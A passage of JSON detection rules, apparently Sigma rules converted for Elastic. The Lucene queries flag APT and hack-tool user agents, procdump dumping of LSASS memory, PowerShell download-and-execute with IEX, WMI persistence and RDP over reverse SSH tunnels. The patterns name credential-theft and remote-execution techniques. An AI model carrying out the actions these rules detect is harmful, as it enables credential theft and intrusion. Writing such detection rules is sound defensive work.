6.1;\\ Windows\\ NT\$\" OR \"Mozilla\\/4.0\$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.1\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 10.0;\\ Win64;\\ x64\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 10.0;\\ Win64;\\ x64\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.1;\\ Win64;\\ x64\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.2;\\ WOW64;\\ Trident\\/7.0;\\ .NET4.0C;\\ .NET4.0E;\\ InfoPath.3\$\" OR *\\ pxyscand* OR *\\ asd OR *\\ mdms OR \"sample\" OR \"nocase\" OR \"Moxilla\" OR Win32\\ * OR *Microsoft\\ Internet\\ Explorer* OR agent\\ * OR \"AutoIt\" OR \"IczelionDownLoad\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 9.0;\\ Windows\\ NT\\ 10.0;\\ .NET4.0C;\\ .NET4.0E;\\ Tablet\\ PC\\ 2.0\$\" OR \"record\" OR \"mozzzzzzzzzzz\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 10.0;\\ Win64;\\ x64;\\ rv\\:76.0\$\\ Gecko\\/20100101\\ Firefox\\/76.0\" OR \"Havana\\/0.1\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious user agent strings used in APT malware in proxy logs", "enabled": false, "false_positives": ["Old browsers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2426c289-e225-ca81-f62f-621531e16449", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "APT User Agent", "query": "user_agent.original:(\"SJZJ\\ \$compatible;\\ MSIE\\ 6.0;\\ Win32\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.;\\ WOW64;\\ rv\\:20.0\$\\ Gecko\\/20100101\\ Firefox\\/20.0\" OR \"User\\-Agent\\:\\ Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.1;\\ Trident\\/4.0;\\ SLCC\" OR \"Mozilla\\/4.0\\ \\(compatible;\\ MSIE\\ 7.4;\\ Win32;32\\-bit\$\" OR \"webclient\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ zh\\-EN;\\ rv\\:1.7.12\$\\ Gecko\\/200\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSI\\ 6.0;\" OR \"Mozilla\\/5.0\\ \\(Windows\\ NT\\ 6.3;\\ WOW64;\\ rv\\:28.0\$\\ Gecko\\/20100101\\ Firefox\\/28.0\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.2;\\ WOW64;\\ rv\\:20.0\$\\ Gecko\\/20100101\\ Firefox\\/\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.;\\ WOW64;\\ rv\\:20.0\$\\ Gecko\\/20100101\\ Firefox\\/2\" OR \"Mozilla\\/4.0\" OR \"Netscape\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ zh\\-EN;\\ rv\\:1.7.12\$\\ Gecko\\/20100719\\ Firefox\\/1.0.7\" OR \"Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ en\\-US;\\ rv\\:1.9.2.13\$\\ Firefox\\/3.6.13\\ GTB7.1\" OR \"Mozilla\\/5.0\\ \$compatible;\\ MSIE\\ 9.0;\\ Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/5.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/4.0;\\ SLCC2;\\ .NETCLR\\ 2.0.50727\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Windows\\ NT\\ 6.0;\\ SV1\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 11.0;\\ Windows\\ NT\\ 6.1;\\ SV1\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 8.0;\\ Win32\$\" OR \"Mozilla\\ v5.1\\ \$Windows\\ NT\\ 6.1;\\ rv\\:6.0.1\$\\ Gecko\\/20100101\\ Firefox\\/6.0.1\" OR \"Mozilla\\/6.1\\ \$compatible;\\ MSIE\\ 9.0;\\ Windows\\ NT\\ 5.3;\\ Trident\\/5.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.1;\\ SV1;\\ .NET\\ CLR\\ 1.1.4322;\\ .NET\\ CLR\\ 2.0.50727;\\ .NET\\ CLR\\ 3.0.04506.30;\\ .NET\\ CLR\\ 3.0.04506.648;\\ InfoPath.1\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64\$\\ WinHttp\\/1.6.3.8\\ \$WinHTTP\\/5.1\$\\ like\\ Gecko\" OR Mozilla\\ v5.1\\ * OR \"MSIE\\ 8.0\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.1;\\ SLCC2;\\ .NET\\ CLR\\ 2.0.50727;\\ .NET\\ CLR\\ 3.5.30729;\\ .NET\\ CLR\\ 3.0.30729;\\ Media\\ Center\\ PC\\ 6.0;\\ .NET4.0C;\\ .NET4.0E;\\ InfoPath.2\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ RMS\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ DynGate\$\" OR \"O\\/9.27\\ \$W;\\ U;\\ Z\$\" OR Mozilla\\/5.0\\ \$compatible;\\ MSIE\\ 9.0;\\ Windows\\ NT\\ 6.0;\\ Trident\\/5.0;\\ \\ Trident\\/5.0* OR Mozilla\\/5.0\\ \\(Windows\\ NT\\ 9;\\ * OR \"hots\\ scot\" OR \"Mozilla\\/5.0\\ \\(compatible;\\ MSIE\\ 10.0;\\ Windows\\ NT\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64\$\\ Chrome\\/28.0.1500.95\\ Safari\\/537.36\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.2;\\ Win32;\\ rv\\:47.0\$\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ Windows\\ NT\\ 5.1;SV1;\" OR \"Mozilla\\/5.0\\ \\(X11;\\ Linux\\ i686;\\ rv\\:22.0\$\\ Firefox\\/22.0\" OR \"Mozilla\\/5.0\\ Chrome\\/72.0.3626.109\\ Safari\\/537.36\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 10.0;\\ Win64;\\ x64;\\ rv\\:FTS_06\$\\ Gecko\\/22.36.35.06\\ Firefox\\/2.0\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 10.0;\\ Win64;\\ x64\$\\ AppleWebKit\\/537.36\\ \$KHTML,\\ like\\ Gecko\$\\ Chrome\\/102.0.5005.63\\ Safari\\/537.36\\ Edg\\/100.0.1185.39\" OR \"Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 7.0;\\ Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/4.0;\\ SLCC2;\\ .NET\\ CLR\\ 2.0.50727;\\ .NET\\ CLR\\ 3.5.30729;\\ .NET\\ CLR\\ 3.0.30729;\\ InfoPath.3;\\ .NET4.0C;\\ .NET4.0E\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis"], "license": ""}
{"description": "Detects suspicious user agent strings user by hack tools in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f9213ff4-5407-bccd-3a49-f4ac8328decb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hack Tool User Agent", "query": "user_agent.original:(*\$hydra\$* OR *\\ arachni\\/* OR *\\ BFAC\\ * OR *\\ brutus\\ * OR *\\ cgichk\\ * OR *core\\-project\\/1.0* OR *\\ crimscanner\\/* OR *datacha0s* OR *dirbuster* OR *domino\\ hunter* OR *dotdotpwn* OR *FHScan\\ Core* OR *floodgate* OR *get\\-minimal* OR *gootkit\\ auto\\-rooter\\ scanner* OR *grendel\\-scan* OR *\\ inspath\\ * OR *internet\\ ninja* OR *jaascois* OR *\\ zmeu\\ * OR *masscan* OR *\\ metis\\ * OR *morfeus\\ fucking\\ scanner* OR *n\\-stealth* OR *nsauditor* OR *pmafind* OR *security\\ scan* OR *springenwerk* OR *teh\\ forest\\ lobster* OR *toata\\ dragostea* OR *\\ vega\\/* OR *voideye* OR *webshag* OR *webvulnscan* OR *\\ whcc\\/* OR *\\ Havij* OR *absinthe* OR *bsqlbf* OR *mysqloit* OR *pangolin* OR *sql\\ power\\ injector* OR *sqlmap* OR *sqlninja* OR *uil2pn* OR *ruler* OR *Mozilla\\/5.0\\ \$Windows;\\ U;\\ Windows\\ NT\\ 5.1;\\ pt\\-PT;\\ rv\\:1.9.1.2\$\\ Gecko\\/20090729\\ Firefox\\/3.5.2\\ \$.NET\\ CLR\\ 3.5.30729\$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Initial Access", "T1110", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter ' -ma ' and ' -accepteula' in a single step. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", "enabled": false, "false_positives": ["Another tool that uses the command line switches of Procdump", "Legitimate use of procdump by a developer or administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d89b9341-ffc9-b5b4-00b3-21ef750c30cf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Use of Procdump", "query": "(process.command_line:*\\ \\-ma\\ * AND process.command_line:*\\ \\-accepteula\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", "enabled": false, "false_positives": ["Unlikely, because no one should dump an lsass process memory", "Another tool that uses the command line switches of Procdump"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a1c570f-2aad-cd5a-a025-bea61c9ad931", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Use of Procdump on LSASS", "query": "(process.command_line.text:(*\\ \\-ma\\ * OR *\\ \\/ma\\ *) AND process.command_line.text:*\\ ls*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "30ad9f14-9408-3d0c-4bde-d56486b22783", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious VSFTPD Error Messages", "query": "(*Connection\\ refused\\:\\ too\\ many\\ sessions\\ for\\ this\\ address.* OR *Connection\\ refused\\:\\ tcp_wrappers\\ denial.* OR *Bad\\ HTTP\\ verb.* OR *port\\ and\\ pasv\\ both\\ active* OR *pasv\\ and\\ port\\ both\\ active* OR *Transfer\\ done\\ \$but\\ failed\\ to\\ open\\ directory\$.* OR *Could\\ not\\ set\\ file\\ modification\\ time.* OR *bug\\:\\ pid\\ active\\ in\\ ptrace_sandbox_free* OR *PTRACE_SETOPTIONS\\ failure* OR *weird\\ status\\:* OR *couldn't\\ handle\\ sandbox\\ event* OR *syscall\\ *\\ out\\ of\\ bounds* OR *syscall\\ not\\ permitted\\:* OR *syscall\\ validate\\ failed\\:* OR *Input\\ line\\ too\\ long.* OR *poor\\ buffer\\ accounting\\ in\\ str_netfd_alloc* OR *vsf_sysutil_read_loop*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee289478-1d6b-99ff-eb40-40241d61e533", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Kernel Dump Using Dtrace", "query": "((process.executable:*\\\\dtrace.exe AND process.command_line:*lkd\$0\$*) OR (process.command_line:*syscall\\:\\:\\:return* AND process.command_line:*lkd\\(*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", "enabled": false, "false_positives": ["Scripts or tools that download attachments from these domains (OneNote, Outlook 365)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b204b688-de57-9c18-6ffc-8da2f5a2731d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Download from Office Domain", "query": "((process.executable:(*\\\\curl.exe OR *\\\\wget.exe) OR process.command_line:(*Start\\-BitsTransfer* OR *.DownloadFile\\(* OR *.DownloadString\\(*)) AND process.command_line:(*https\\:\\/\\/attachment.outlook.live.net\\/owa\\/* OR *https\\:\\/\\/onenoteonlinesync.onenote.com\\/onenoteonlinesync\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious ways to download files or content and execute them using PowerShell Invoke-Expression", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Scripts or tools that download files and execute them"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e3006e73-c508-efb5-a3b3-713c35a2c727", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Web Download and Execution", "query": "(process.command_line.text:(*.DownloadString\\(* OR *.DownloadFile\\(* OR *Invoke\\-WebRequest\\ * OR *iwr\\ *) AND process.command_line.text:(*IEX\\(* OR *IEX\\ \\(* OR *I`EX* OR *IE`X* OR *I`E`X* OR *|\\ IEX* OR *|IEX\\ * OR *Invoke\\-Expression* OR *;iex\\ $*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious ways to download files or content using PowerShell", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Scripts or tools that download files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f3fe0ff2-72c8-21d0-2cb3-bbb18e5ca776", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Web Download", "query": "process.command_line.text:(*.DownloadString\\(* OR *.DownloadFile\\(* OR *Invoke\\-WebRequest\\ * OR *iwr\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", "enabled": false, "false_positives": ["Legitimate scripts that use IEX"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "616bee90-34be-cc4c-5051-f5d13436098a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell IEX Execution Patterns", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*\\ |\\ iex;* OR *\\ |\\ iex\\ * OR *\\ |\\ iex\\}* OR *\\ |\\ IEX;* OR *\\ |\\ IEX\\ ;* OR *\\ |\\ IEX\\ \\-Error* OR *\\ |\\ IEX\\ \$new* OR *\\ |\\ IEX\\ \\(New* OR *\$;IEX\\ *) AND process.command_line.text:(*\\:\\:FromBase64String* OR *.GetString\$\\[System.Convert\\]\\:\\:*)) OR process.command_line.text:(*\$|iex;$* OR *\\)|IEX;$* OR *\\);iex\$$* OR *\$;iex\\ $* OR *\\ |\\ IEX\\ |\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "11ddc778-65e2-0e32-db08-16b163064e1b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious DumpMinitool Usage", "query": "(((process.executable.text:*\\\\DumpMinitool.exe) OR (winlog.event_data.OriginalFileName:\"DumpMinitool.exe\")) AND (((((NOT (process.executable.text:(*\\\\Microsoft\\ Visual\\ Studio\\\\* OR *\\\\Extensions\\\\*)))) OR (process.command_line.text:*.txt*))) OR ((process.command_line.text:*\\ Full* AND (NOT (process.command_line.text:*\\-\\-dumpType*))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5ea24eb8-aad8-4ea9-d1de-da4f6fb17d07", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious WERMGR Process Patterns", "query": "(((process.executable.text:*\\\\wermgr.exe AND (NOT (process.executable.text:(*C\\:\\\\Windows\\\\System32\\\\* OR *C\\:\\\\Windows\\\\SysWOW64\\\\*))))) OR ((process.parent.executable.text:*\\\\wermgr.exe AND process.executable.text:(*\\\\nslookup.exe OR *\\\\ipconfig.exe OR *\\\\net.exe OR *\\\\net1.exe OR *\\\\whoami.exe OR *\\\\netstat.exe OR *\\\\systeminfo.exe OR *\\\\cmd.exe OR *\\\\powershell.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate application and websites that use windows paths in their URL"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "a966a69c-bd4c-8fc1-a8c5-93e3dfa9f632", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Windows Strings In URI", "query": "cs-uri-query:(*\\=C\\:\\/Users* OR *\\=C\\:\\/Program%20Files* OR *\\=C\\:\\/Windows* OR *\\=C%3A%5CUsers* OR *\\=C%3A%5CProgram%20Files* OR *\\=C%3A%5CWindows*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e052372f-0f30-e174-3628-b1e396ddfe2d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Windows Update Agent Empty Cmdline", "query": "((process.executable:*\\\\Wuauclt.exe OR winlog.event_data.OriginalFileName:\"Wuauclt.exe\") AND process.command_line:*\\\\Wuauclt.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "enabled": false, "false_positives": ["Unknown (data set is too small; further testing needed)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c99b9969-744a-7293-7083-8cb9430972d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Persistence", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4662\" AND winlog.event_data.ObjectType:\"WMI\\ Namespace\" AND winlog.event_data.ObjectName:*subscription*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Gleb Sukhodolskiy", "Timur Zinniatullin oscd.community"], "license": ""}
{"description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "enabled": false, "false_positives": ["Unknown (data set is too small; further testing needed)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c99b9969-744a-7293-7083-8cb9430972d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Persistence", "query": "(((winlog.event_id:\"5861\" AND (*ActiveScriptEventConsumer* OR *CommandLineEventConsumer* OR *CommandLineTemplate*)) OR winlog.event_id:\"5859\") AND (NOT (Provider:\"SCM\\ Event\\ Provider\" AND Query:select\\ *\\ from\\ MSFT_SCMEventLogEvent AND user.name:\"S\\-1\\-5\\-32\\-544\" AND PossibleCause:\"Permanent\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Gleb Sukhodolskiy", "Timur Zinniatullin oscd.community"], "license": ""}
{"description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b10d05a6-67b6-08ae-5204-a39eab7ebb09", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP to HTTP or HTTPS Target Ports", "query": "(process.executable:*\\\\svchost.exe AND winlog.event_data.Initiated:\"true\" AND source.port:\"3389\" AND destination.port:(\"80\" OR \"443\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9df19667-2df9-6a9f-8b00-a5fc665003df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP Over Reverse SSH Tunnel", "query": "((process.executable.text:*\\\\svchost.exe AND winlog.event_data.Initiated:\"true\" AND source.port:\"3389\") AND (destination.ip:127.* OR destination.ip:\"\\:\\:1\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", "enabled": false, "false_positives": ["Programs that connect locally to the RDP port"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a1f60605-2beb-7424-141e-4d59e0b375ad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP over Reverse SSH Tunnel WFP", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5156\" AND ((source.port:\"3389\" AND DestAddress:(127.* OR \"\\:\\:1\")) OR (DestPort:\"3389\" AND SourceAddress:(127.* OR \"\\:\\:1\")))) AND (NOT ((Application:(*\\\\thor.exe OR *\\\\thor64.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Lateral Movement", "T1021", "T1090", "T1090"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", "enabled": false, "false_positives": ["Legitimate usage of office automation via scripting"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1f1db59-549f-bf64-376e-f8ca02b16eb2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Svchost Spawning Office Application", "query": "(process.parent.executable.text:*\\\\svchost.exe AND process.executable.text:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\eqnedt32.exe OR *\\\\visio.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
